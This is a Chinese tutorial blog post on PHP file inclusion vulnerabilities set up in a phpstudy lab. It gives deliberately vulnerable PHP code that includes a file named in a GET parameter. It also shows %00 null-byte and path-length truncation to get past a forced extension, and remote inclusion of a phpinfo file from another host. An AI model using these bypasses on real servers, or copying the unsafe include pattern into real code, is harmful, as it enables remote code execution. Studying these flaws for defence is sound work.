当前位置: 首页 > news >正文

文件包含漏洞的小点总结

文件本地与远程包含:

文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题;

远程包含可以包含一切网络上的文件。

  • 本地包含:

①无限制

感受一下使用phpstudy的文件上传,开启phpstudy的apache服务,在网站根目录新建两个文件

//1.txt 
<?php 
phpinfo(); 
?> 

//upload.php 
<?php 
$filename=$_GET['filename']; 
include($filename); 
?>

 

直接访问localhost/upload.php?filename=1.txt(upload.php文件内容意为使用GET方式将文件名参数传入,执行包含指令),访问如图(即使是txt文件,但是include会将其按php文件进行解析)

②有限制

如果服务器对上传的文件有限制,我们需要做绕过处理将文件包含进去。

在网站根目录下新建两个文件

//1.txt 
<?php 
phpinfo(); 
?>
 
//upload2.php 
<?php 
$filename=$_GET['filename']; 
include($filename.'.html') 
?>

如果直接访问localhost/upload2.php?filename=1.txt会报错,因为有限制,我们可以使用%00截断进行绕过。(%00具体解释参考往篇)访问localhost/upload2.php?filename=1.txt%00

长度截断:Windows和Linux对命名长度有限制,前者256个字符(磁盘分区还占一个,用户只能使用255个),后者4096

  • 远程包含:

phpstudy其他选项菜单-php扩展与设置-参数开关设置中打开allow_url_include(一般情况下为了安全性,这个是关的状态)

在远程服务器上上传文件(或者可以用虚拟机靶机做实验,在靶机的phpstudy上的根目录里写文件)如下:

//1.txt 
<?php 
phpinfo(); 
?>

靶机查询IP地址,假如是192.168.123.23

就可以在主机上直接访问http://192.168.123.23:88/1.txt

可以看到上传文件内容。

我们再使用文件包含,即访问http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可执行文件内容。

相关文章:

  • ubuntu 22.04 解决LXC 报错CGroupV1 host system
  • Open GL ES ->GLSurfaceView正交投影与透视投影方法中近远平面取值参考
  • 20.ARMLinux上ADC的驱动和使用方法
  • 云之家开发者模式下接口值的抓取
  • 前端处理pdf文件流,展示pdf
  • CouchBase稀疏索引和全量索引的对比
  • Leetcode 3504. Longest Palindrome After Substring Concatenation II
  • react+antd封装一个可回车自定义option的select并且与某些内容相互禁用
  • ffmpeg中格式转换需要注意点总结
  • 设计模式基础入门
  • Android 使用CameraX实现预览、拍照、录制视频(Java版)
  • AI产品的基础设施:算法、数据与大语言模型
  • 解决安卓手机WebView无法直接预览PDF的问题(使用PDF.js方案)
  • 基于SpringBoot的仓库管理系统-023
  • 递归详解:从原理到实战
  • 9.常用模板引擎
  • Elasticsearch索引的字段映射
  • 串口中断接收与环形缓冲实例(apollo3 blue plus)
  • Perl 哈希
  • Springboot实战:如何用Docker和Kubernetes部署微服务
  • 中国空间站多项太空实验已取得成果,未来将陆续开展千余项研究
  • “80后”蒋美华任辽宁阜新市副市长
  • 是否进行了及时有效处置?伤者情况如何?辽阳市相关负责人就饭店火灾事故答问
  • 广东省副省长刘红兵跨省任湖南省委常委、宣传部部长
  • 83岁连丽如每周登台说书,还上了15堂连派评书课
  • 我国成功发射卫星互联网低轨卫星